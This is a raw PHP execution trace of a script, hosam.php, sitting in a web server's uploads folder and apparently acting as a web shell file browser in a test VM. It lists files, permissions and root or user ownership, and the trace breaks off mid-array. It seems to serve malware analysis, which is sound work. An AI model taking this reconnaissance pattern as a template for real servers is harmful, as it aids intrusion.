3 A /var/www/html/uploads/hosam.php 810 $files[] = ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
4 71 0 0.004536 780392 readdir 0 /var/www/html/uploads/hosam.php 772 1 resource(4) of type (stream)
4 71 1 0.004551 780464
4 71 R '.'
3 A /var/www/html/uploads/hosam.php 772 $filename = '.'
3 A /var/www/html/uploads/hosam.php 774 $path = '/var/www/html/uploads/.'
4 72 0 0.004584 780472 lstat 0 /var/www/html/uploads/hosam.php 776 1 '/var/www/html/uploads/.'
4 72 1 0.004600 782256
4 72 R [0 => 2049, 1 => 524475, 2 => 16895, 3 => 3, 4 => 0, 5 => 0, 6 => 0, 7 => 4096, 8 => 1676254317, 9 => 1676254317, 10 => 1676254317, 11 => 4096, 12 => 8, 'dev' => 2049, 'ino' => 524475, 'mode' => 16895, 'nlink' => 3, 'uid' => 0, 'gid' => 0, 'rdev' => 0, 'size' => 4096, 'atime' => 1676254317, 'mtime' => 1676254317, 'ctime' => 1676254317, 'blksize' => 4096, 'blocks' => 8]
3 A /var/www/html/uploads/hosam.php 776 $stat = [0 => 2049, 1 => 524475, 2 => 16895, 3 => 3, 4 => 0, 5 => 0, 6 => 0, 7 => 4096, 8 => 1676254317, 9 => 1676254317, 10 => 1676254317, 11 => 4096, 12 => 8, 'dev' => 2049, 'ino' => 524475, 'mode' => 16895, 'nlink' => 3, 'uid' => 0, 'gid' => 0, 'rdev' => 0, 'size' => 4096, 'atime' => 1676254317, 'mtime' => 1676254317, 'ctime' => 1676254317, 'blksize' => 4096, 'blocks' => 8]
4 73 0 0.004661 781160 is_file 0 /var/www/html/uploads/hosam.php 781 1 '/var/www/html/uploads/.'
4 73 1 0.004676 781192
4 73 R FALSE
4 74 0 0.004689 781152 is_dir 0 /var/www/html/uploads/hosam.php 782 1 '/var/www/html/uploads/.'
4 74 1 0.004701 781192
4 74 R TRUE
4 75 0 0.004714 781152 is_link 0 /var/www/html/uploads/hosam.php 783 1 '/var/www/html/uploads/.'
4 75 1 0.004726 781192
4 75 R FALSE
4 76 0 0.004739 781152 is_readable 0 /var/www/html/uploads/hosam.php 784 1 '/var/www/html/uploads/.'
4 76 1 0.004754 781192
4 76 R TRUE
4 77 0 0.004767 781152 is_writable 0 /var/www/html/uploads/hosam.php 785 1 '/var/www/html/uploads/.'
4 77 1 0.004781 781192
4 77 R TRUE
4 78 0 0.004794 781152 filemtime 0 /var/www/html/uploads/hosam.php 790 1 '/var/www/html/uploads/.'
4 78 1 0.004807 781192
4 78 R 1676254317
4 79 0 0.004820 781152 fileatime 0 /var/www/html/uploads/hosam.php 791 1 '/var/www/html/uploads/.'
4 79 1 0.004833 781192
4 79 R 1676254317
4 80 0 0.004846 781152 filectime 0 /var/www/html/uploads/hosam.php 792 1 '/var/www/html/uploads/.'
4 80 1 0.004858 781192
4 80 R 1676254317
3 A /var/www/html/uploads/hosam.php 792 $file = ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317]
4 81 0 0.004900 781208 file_exists 0 /var/www/html/uploads/hosam.php 796 1 '/var/www/html/uploads/./.'
4 81 1 0.004915 781248
4 81 R TRUE
3 A /var/www/html/uploads/hosam.php 796 $file['is_executable'] = TRUE
4 82 0 0.004941 781152 function_exists 0 /var/www/html/uploads/hosam.php 807 1 'posix_getpwuid'
4 82 1 0.004954 781192
4 82 R TRUE
4 83 0 0.004966 781152 posix_getpwuid 0 /var/www/html/uploads/hosam.php 807 1 0
4 83 1 0.004990 781952
4 83 R ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
4 84 0 0.005013 781920 reset 0 /var/www/html/uploads/hosam.php 807 1 ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
4 84 1 0.005032 782328
4 84 R 'root'
3 A /var/www/html/uploads/hosam.php 807 $file['owner_name'] = 'root'
4 85 0 0.005057 781184 function_exists 0 /var/www/html/uploads/hosam.php 808 1 'posix_getgrgid'
4 85 1 0.005070 781224
4 85 R TRUE
4 86 0 0.005083 781184 posix_getgrgid 0 /var/www/html/uploads/hosam.php 808 1 0
4 86 1 0.005104 781840
4 86 R ['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
4 87 0 0.005123 781808 reset 0 /var/www/html/uploads/hosam.php 808 1 ['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
4 87 1 0.005140 782216
4 87 R 'root'
3 A /var/www/html/uploads/hosam.php 808 $file['group_name'] = 'root'
3 A /var/www/html/uploads/hosam.php 810 $files[] = ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
4 88 0 0.005192 781856 readdir 0 /var/www/html/uploads/hosam.php 772 1 resource(4) of type (stream)
4 88 1 0.005206 781936
4 88 R 'prepend.php'
3 A /var/www/html/uploads/hosam.php 772 $filename = 'prepend.php'
3 A /var/www/html/uploads/hosam.php 774 $path = '/var/www/html/uploads/prepend.php'
4 89 0 0.005242 781960 lstat 0 /var/www/html/uploads/hosam.php 776 1 '/var/www/html/uploads/prepend.php'
4 89 1 0.005259 783768
4 89 R [0 => 2049, 1 => 524479, 2 => 33261, 3 => 1, 4 => 0, 5 => 0, 6 => 0, 7 => 57, 8 => 1676254317, 9 => 1676254317, 10 => 1676254317, 11 => 4096, 12 => 8, 'dev' => 2049, 'ino' => 524479, 'mode' => 33261, 'nlink' => 1, 'uid' => 0, 'gid' => 0, 'rdev' => 0, 'size' => 57, 'atime' => 1676254317, 'mtime' => 1676254317, 'ctime' => 1676254317, 'blksize' => 4096, 'blocks' => 8]
3 A /var/www/html/uploads/hosam.php 776 $stat = [0 => 2049, 1 => 524479, 2 => 33261, 3 => 1, 4 => 0, 5 => 0, 6 => 0, 7 => 57, 8 => 1676254317, 9 => 1676254317, 10 => 1676254317, 11 => 4096, 12 => 8, 'dev' => 2049, 'ino' => 524479, 'mode' => 33261, 'nlink' => 1, 'uid' => 0, 'gid' => 0, 'rdev' => 0, 'size' => 57, 'atime' => 1676254317, 'mtime' => 1676254317, 'ctime' => 1676254317, 'blksize' => 4096, 'blocks' => 8]
4 90 0 0.005321 782672 is_file 0 /var/www/html/uploads/hosam.php 781 1 '/var/www/html/uploads/prepend.php'
4 90 1 0.005337 782728
4 90 R TRUE
4 91 0 0.005350 782688 is_dir 0 /var/www/html/uploads/hosam.php 782 1 '/var/www/html/uploads/prepend.php'
4 91 1 0.005363 782728
4 91 R FALSE
4 92 0 0.005376 782688 is_link 0 /var/www/html/uploads/hosam.php 783 1 '/var/www/html/uploads/prepend.php'
4 92 1 0.005389 782728
4 92 R FALSE
4 93 0 0.005402 782688 is_readable 0 /var/www/html/uploads/hosam.php 784 1 '/var/www/html/uploads/prepend.php'
4 93 1 0.005418 782728
4 93 R TRUE
4 94 0 0.005431 782688 is_writable 0 /var/www/html/uploads/hosam.php 785 1 '/var/www/html/uploads/prepend.php'
4 94 1 0.005446 782728
4 94 R FALSE
4 95 0 0.005460 782688 filemtime 0 /var/www/html/uploads/hosam.php 790 1 '/var/www/html/uploads/prepend.php'
4 95 1 0.005473 782728
4 95 R 1676254317
4 96 0 0.005486 782688 fileatime 0 /var/www/html/uploads/hosam.php 791 1 '/var/www/html/uploads/prepend.php'
4 96 1 0.005498 782728
4 96 R 1676254317
4 97 0 0.005511 782688 filectime 0 /var/www/html/uploads/hosam.php 792 1 '/var/www/html/uploads/prepend.php'
4 97 1 0.005523 782728
4 97 R 1676254317
3 A /var/www/html/uploads/hosam.php 792 $file = ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317]
4 98 0 0.005562 782688 is_executable 0 /var/www/html/uploads/hosam.php 799 1 '/var/www/html/uploads/prepend.php'
4 98 1 0.005578 782728
4 98 R TRUE
3 A /var/www/html/uploads/hosam.php 799 $file['is_executable'] = TRUE
4 99 0 0.005603 782688 function_exists 0 /var/www/html/uploads/hosam.php 807 1 'posix_getpwuid'
4 99 1 0.005616 782728
4 99 R TRUE
4 100 0 0.005632 782688 posix_getpwuid 0 /var/www/html/uploads/hosam.php 807 1 0
4 100 1 0.005655 783488
4 100 R ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
4 101 0 0.005679 783456 reset 0 /var/www/html/uploads/hosam.php 807 1 ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
4 101 1 0.005698 783864
4 101 R 'root'
3 A /var/www/html/uploads/hosam.php 807 $file['owner_name'] = 'root'
4 102 0 0.005723 782720 function_exists 0 /var/www/html/uploads/hosam.php 808 1 'posix_getgrgid'
4 102 1 0.005737 782760
4 102 R TRUE
4 103 0 0.005750 782720 posix_getgrgid 0 /var/www/html/uploads/hosam.php 808 1 0
4 103 1 0.005771 783376
4 103 R ['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
4 104 0 0.005791 783344 reset 0 /var/www/html/uploads/hosam.php 808 1 ['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
4 104 1 0.005807 783752
4 104 R 'root'
3 A /var/www/html/uploads/hosam.php 808 $file['group_name'] = 'root'
3 A /var/www/html/uploads/hosam.php 810 $files[] = ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
4 105 0 0.005860 783392 readdir 0 /var/www/html/uploads/hosam.php 772 1 resource(4) of type (stream)
4 105 1 0.005874 783472
4 105 R 'hosam.php'
3 A /var/www/html/uploads/hosam.php 772 $filename = 'hosam.php'
3 A /var/www/html/uploads/hosam.php 774 $path = '/var/www/html/uploads/hosam.php'
4 106 0 0.005909 783488 lstat 0 /var/www/html/uploads/hosam.php 776 1 '/var/www/html/uploads/hosam.php'
4 106 1 0.005925 785272
4 106 R [0 => 2049, 1 => 524480, 2 => 33204, 3 => 1, 4 => 1000, 5 => 1000, 6 => 0, 7 => 68561, 8 => 1676254317, 9 => 1676254317, 10 => 1676254317, 11 => 4096, 12 => 136, 'dev' => 2049, 'ino' => 524480, 'mode' => 33204, 'nlink' => 1, 'uid' => 1000, 'gid' => 1000, 'rdev' => 0, 'size' => 68561, 'atime' => 1676254317, 'mtime' => 1676254317, 'ctime' => 1676254317, 'blksize' => 4096, 'blocks' => 136]
3 A /var/www/html/uploads/hosam.php 776 $stat = [0 => 2049, 1 => 524480, 2 => 33204, 3 => 1, 4 => 1000, 5 => 1000, 6 => 0, 7 => 68561, 8 => 1676254317, 9 => 1676254317, 10 => 1676254317, 11 => 4096, 12 => 136, 'dev' => 2049, 'ino' => 524480, 'mode' => 33204, 'nlink' => 1, 'uid' => 1000, 'gid' => 1000, 'rdev' => 0, 'size' => 68561, 'atime' => 1676254317, 'mtime' => 1676254317, 'ctime' => 1676254317, 'blksize' => 4096, 'blocks' => 136]
4 107 0 0.005988 784176 is_file 0 /var/www/html/uploads/hosam.php 781 1 '/var/www/html/uploads/hosam.php'
4 107 1 0.006002 784208
4 107 R TRUE
4 108 0 0.006015 784168 is_dir 0 /var/www/html/uploads/hosam.php 782 1 '/var/www/html/uploads/hosam.php'
4 108 1 0.006027 784208
4 108 R FALSE
4 109 0 0.006039 784168 is_link 0 /var/www/html/uploads/hosam.php 783 1 '/var/www/html/uploads/hosam.php'
4 109 1 0.006051 784208
4 109 R FALSE
4 110 0 0.006064 784168 is_readable 0 /var/www/html/uploads/hosam.php 784 1 '/var/www/html/uploads/hosam.php'
4 110 1 0.006078 784208
4 110 R TRUE
4 111 0 0.006091 784168 is_writable 0 /var/www/html/uploads/hosam.php 785 1 '/var/www/html/uploads/hosam.php'
4 111 1 0.006106 784208
4 111 R FALSE
4 112 0 0.006119 784168 filemtime 0 /var/www/html/uploads/hosam.php 790 1 '/var/www/html/uploads/hosam.php'
4 112 1 0.006132 784208
4 112 R 1676254317
4 113 0 0.006145 784168 fileatime 0 /var/www/html/uploads/hosam.php 791 1 '/var/www/html/uploads/hosam.php'
4 113 1 0.006158 784208
4 113 R 1676254317
4 114 0 0.006170 784168 filectime 0 /var/www/html/uploads/hosam.php 792 1 '/var/www/html/uploads/hosam.php'
4 114 1 0.006182 784208
4 114 R 1676254317
3 A /var/www/html/uploads/hosam.php 792 $file = ['filename' => 'hosam.php', 'path' => '/var/www/html/uploads/hosam.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 68561, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317]
4 115 0 0.006221 784168 is_executable 0 /var/www/html/uploads/hosam.php 799 1 '/var/www/html/uploads/hosam.php'
4 115 1 0.006236 784208
4 115 R FALSE
3 A /var/www/html/uploads/hosam.php 799 $file['is_executable'] = FALSE
4 116 0 0.006262 784168 function_exists 0 /var/www/html/uploads/hosam.php 807 1 'posix_getpwuid'
4 116 1 0.006275 784208
4 116 R TRUE
4 117 0 0.006287 784168 posix_getpwuid 0 /var/www/html/uploads/hosam.php 807 1 1000
4 117 1 0.006317 784984
4 117 R ['name' => 'osboxes', 'passwd' => 'x', 'uid' => 1000, 'gid' => 1000, 'gecos' => 'osboxes.org,,,', 'dir' => '/home/osboxes', 'shell' => '/bin/bash']
4 118 0 0.006352 784952 reset 0 /var/www/html/uploads/hosam.php 807 1 ['name' => 'osboxes', 'passwd' => 'x', 'uid' => 1000, 'gid' => 1000, 'gecos' => 'osboxes.org,,,', 'dir' => '/home/osboxes', 'shell' => '/bin/bash']
4 118 1 0.006381 785360
4 118 R 'osboxes'
3 A /var/www/html/uploads/hosam.php 807 $file['owner_name'] = 'osboxes'
4 119 0 0.006408 784200 function_exists 0 /var/www/html/uploads/hosam.php 808 1 'posix_getgrgid'
4 119 1 0.006421 784240
4 119 R TRUE
4 120 0 0.006434 784200 posix_getgrgid 0 /var/www/html/uploads/hosam.php 808 1 1000
4 120 1 0.006467 784856
4 120 R ['name' => 'osboxes', 'passwd' => 'x', 'members' => [], 'gid' => 1000]
4 121 0 0.006487 784824 reset 0 /var/www/html/uploads/hosam.php 808 1 ['name' => 'osboxes', 'passwd' => 'x', 'members' => [], 'gid' => 1000]
4 121 1 0.006504 785232
4 121 R 'osboxes'
3 A /var/www/html/uploads/hosam.php 808 $file['group_name'] = 'osboxes'
3 A /var/www/html/uploads/hosam.php 810 $files[] = ['filename' => 'hosam.php', 'path' => '/var/www/html/uploads/hosam.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 68561, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes']
4 122 0 0.006569 784872 readdir 0 /var/www/html/uploads/hosam.php 772 1 resource(4) of type (stream)
4 122 1 0.006584 784944
4 122 R 'data'
3 A /var/www/html/uploads/hosam.php 772 $filename = 'data'
3 A /var/www/html/uploads/hosam.php 774 $path = '/var/www/html/uploads/data'
4 123 0 0.006618 784960 lstat 0 /var/www/html/uploads/hosam.php 776 1 '/var/www/html/uploads/data'
4 123 1 0.006635 786752
4 123 R [0 => 2049, 1 => 524476, 2 => 16895, 3 => 2, 4 => 0, 5 => 0, 6 => 0, 7 => 4096, 8 => 1676254317, 9 => 1676254317, 10 => 1676254317, 11 => 4096, 12 => 8, 'dev' => 2049, 'ino' => 524476, 'mode' => 16895, 'nlink' => 2, 'uid' => 0, 'gid' => 0, 'rdev' => 0, 'size' => 4096, 'atime' => 1676254317, 'mtime' => 1676254317, 'ctime' => 1676254317, 'blksize' => 4096, 'blocks' => 8]
3 A /var/www/html/uploads/hosam.php 776 $stat = [0 => 2049, 1 => 524476, 2 => 16895, 3 => 2, 4 => 0, 5 => 0, 6 => 0, 7 => 4096, 8 => 1676254317, 9 => 1676254317, 10 => 1676254317, 11 => 4096, 12 => 8, 'dev' => 2049, 'ino' => 524476, 'mode' => 16895, 'nlink' => 2, 'uid' => 0, 'gid' => 0, 'rdev' => 0, 'size' => 4096, 'atime' => 1676254317, 'mtime' => 1676254317, 'ctime' => 1676254317, 'blksize' => 4096, 'blocks' => 8]
4 124 0 0.006767 785656 is_file 0 /var/www/html/uploads/hosam.php 781 1 '/var/www/html/uploads/data'
4 124 1 0.006784 785696
4 124 R FALSE
4 125 0 0.006798 785656 is_dir 0 /var/www/html/uploads/hosam.php 782 1 '/var/www/html/uploads/data'
4 125 1 0.006811 785696
4 125 R TRUE
4 126 0 0.006824 785656 is_link 0 /var/www/html/uploads/hosam.php 783 1 '/var/www/html/uploads/data'
4 126 1 0.006837 785696
4 126 R FALSE
4 127 0 0.006850 785656 is_readable 0 /var/www/html/uploads/hosam.php 784 1 '/var/www/html/uploads/data'
4 127 1 0.006867 785696
4 127 R TRUE
4 128 0 0.006880 785656 is_writable 0 /var/www/html/uploads/hosam.php 785 1 '/var/www/html/uploads/data'
4 128 1 0.006895 785696
4 128 R TRUE
4 129 0 0.006908 785656 filemtime 0 /var/www/html/uploads/hosam.php 790 1 '/var/www/html/uploads/data'
4 129 1 0.006921 785696
4 129 R 1676254317
4 130 0 0.006934 785656 fileatime 0 /var/www/html/uploads/hosam.php 791 1 '/var/www/html/uploads/data'
4 130 1 0.006946 785696
4 130 R 1676254317
4 131 0 0.006959 785656 filectime 0 /var/www/html/uploads/hosam.php 792 1 '/var/www/html/uploads/data'
4 131 1 0.006972 785696
4 131 R 1676254317
3 A /var/www/html/uploads/hosam.php 792 $file = ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317]
4 132 0 0.007011 785712 file_exists 0 /var/www/html/uploads/hosam.php 796 1 '/var/www/html/uploads/data/.'
4 132 1 0.007027 785752
4 132 R TRUE
3 A /var/www/html/uploads/hosam.php 796 $file['is_executable'] = TRUE
4 133 0 0.007052 785656 function_exists 0 /var/www/html/uploads/hosam.php 807 1 'posix_getpwuid'
4 133 1 0.007066 785696
4 133 R TRUE
4 134 0 0.007078 785656 posix_getpwuid 0 /var/www/html/uploads/hosam.php 807 1 0
4 134 1 0.007103 786456
4 134 R ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
4 135 0 0.007126 786424 reset 0 /var/www/html/uploads/hosam.php 807 1 ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
4 135 1 0.007146 786832
4 135 R 'root'
3 A /var/www/html/uploads/hosam.php 807 $file['owner_name'] = 'root'
4 136 0 0.007172 785688 function_exists 0 /var/www/html/uploads/hosam.php 808 1 'posix_getgrgid'
4 136 1 0.007185 785728
4 136 R TRUE
4 137 0 0.007197 785688 posix_getgrgid 0 /var/www/html/uploads/hosam.php 808 1 0
4 137 1 0.007224 786344
4 137 R ['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
4 138 0 0.007245 786312 reset 0 /var/www/html/uploads/hosam.php 808 1 ['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
4 138 1 0.007261 786720
4 138 R 'root'
3 A /var/www/html/uploads/hosam.php 808 $file['group_name'] = 'root'
3 A /var/www/html/uploads/hosam.php 810 $files[] = ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
4 139 0 0.007313 786360 readdir 0 /var/www/html/uploads/hosam.php 772 1 resource(4) of type (stream)
4 139 1 0.007327 786440
4 139 R '.htaccess'
3 A /var/www/html/uploads/hosam.php 772 $filename = '.htaccess'
3 A /var/www/html/uploads/hosam.php 774 $path = '/var/www/html/uploads/.htaccess'
4 140 0 0.007362 786456 lstat 0 /var/www/html/uploads/hosam.php 776 1 '/var/www/html/uploads/.htaccess'
4 140 1 0.007379 788248
4 140 R [0 => 2049, 1 => 524478, 2 => 33188, 3 => 1, 4 => 0, 5 => 0, 6 => 0, 7 => 64, 8 => 1676254317, 9 => 1676254317, 10 => 1676254317, 11 => 4096, 12 => 8, 'dev' => 2049, 'ino' => 524478, 'mode' => 33188, 'nlink' => 1, 'uid' => 0, 'gid' => 0, 'rdev' => 0, 'size' => 64, 'atime' => 1676254317, 'mtime' => 1676254317, 'ctime' => 1676254317, 'blksize' => 4096, 'blocks' => 8]
3 A /var/www/html/uploads/hosam.php 776 $stat = [0 => 2049, 1 => 524478, 2 => 33188, 3 => 1, 4 => 0, 5 => 0, 6 => 0, 7 => 64, 8 => 1676254317, 9 => 1676254317, 10 => 1676254317, 11 => 4096, 12 => 8, 'dev' => 2049, 'ino' => 524478, 'mode' => 33188, 'nlink' => 1, 'uid' => 0, 'gid' => 0, 'rdev' => 0, 'size' => 64, 'atime' => 1676254317, 'mtime' => 1676254317, 'ctime' => 1676254317, 'blksize' => 4096, 'blocks' => 8]
4 141 0 0.007441 787152 is_file 0 /var/www/html/uploads/hosam.php 781 1 '/var/www/html/uploads/.htaccess'
4 141 1 0.007456 787192
4 141 R TRUE
4 142 0 0.007468 787152 is_dir 0 /var/www/html/uploads/hosam.php 782 1 '/var/www/html/uploads/.htaccess'
4 142 1 0.007481 787192
4 142 R FALSE
4 143 0 0.007494 787152 is_link 0 /var/www/html/uploads/hosam.php 783 1 '/var/www/html/uploads/.htaccess'
4 143 1 0.007507 787192
4 143 R FALSE
4 144 0 0.007519 787152 is_readable 0 /var/www/html/uploads/hosam.php 784 1 '/var/www/html/uploads/.htaccess'
4 144 1 0.007534 787192
4 144 R TRUE
4 145 0 0.007547 787152 is_writable 0 /var/www/html/uploads/hosam.php 785 1 '/var/www/html/uploads/.htaccess'
4 145 1 0.007570 787192
4 145 R FALSE
4 146 0 0.007589 787152 filemtime 0 /var/www/html/uploads/hosam.php 790 1 '/var/www/html/uploads/.htaccess'
4 146 1 0.007608 787192
4 146 R 1676254317
4 147 0 0.007627 787152 fileatime 0 /var/www/html/uploads/hosam.php 791 1 '/var/www/html/uploads/.htaccess'
4 147 1 0.007647 787192
4 147 R 1676254317
4 148 0 0.007666 787152 filectime 0 /var/www/html/uploads/hosam.php 792 1 '/var/www/html/uploads/.htaccess'
4 148 1 0.007683 787192
4 148 R 1676254317
3 A /var/www/html/uploads/hosam.php 792 $file = ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317]
4 149 0 0.007723 787152 is_executable 0 /var/www/html/uploads/hosam.php 799 1 '/var/www/html/uploads/.htaccess'
4 149 1 0.007740 787192
4 149 R FALSE
3 A /var/www/html/uploads/hosam.php 799 $file['is_executable'] = FALSE
4 150 0 0.007765 787152 function_exists 0 /var/www/html/uploads/hosam.php 807 1 'posix_getpwuid'
4 150 1 0.007779 787192
4 150 R TRUE
4 151 0 0.007792 787152 posix_getpwuid 0 /var/www/html/uploads/hosam.php 807 1 0
4 151 1 0.007816 787952
4 151 R ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
4 152 0 0.007840 787920 reset 0 /var/www/html/uploads/hosam.php 807 1 ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
4 152 1 0.007859 788328
4 152 R 'root'
3 A /var/www/html/uploads/hosam.php 807 $file['owner_name'] = 'root'
4 153 0 0.007884 787184 function_exists 0 /var/www/html/uploads/hosam.php 808 1 'posix_getgrgid'
4 153 1 0.007898 787224
4 153 R TRUE
4 154 0 0.007911 787184 posix_getgrgid 0 /var/www/html/uploads/hosam.php 808 1 0
4 154 1 0.007932 787840
4 154 R ['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
4 155 0 0.007952 787808 reset 0 /var/www/html/uploads/hosam.php 808 1 ['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
4 155 1 0.007968 788216
4 155 R 'root'
3 A /var/www/html/uploads/hosam.php 808 $file['group_name'] = 'root'
3 A /var/www/html/uploads/hosam.php 810 $files[] = ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root']
4 156 0 0.008026 787856 readdir 0 /var/www/html/uploads/hosam.php 772 1 resource(4) of type (stream)
4 156 1 0.008042 787896
4 156 R FALSE
3 A /var/www/html/uploads/hosam.php 772 $filename = FALSE
3 52 1 0.008067 786104
3 52 R [0 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 3 => ['filename' => 'hosam.php', 'path' => '/var/www/html/uploads/hosam.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 68561, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes'], 4 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 5 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 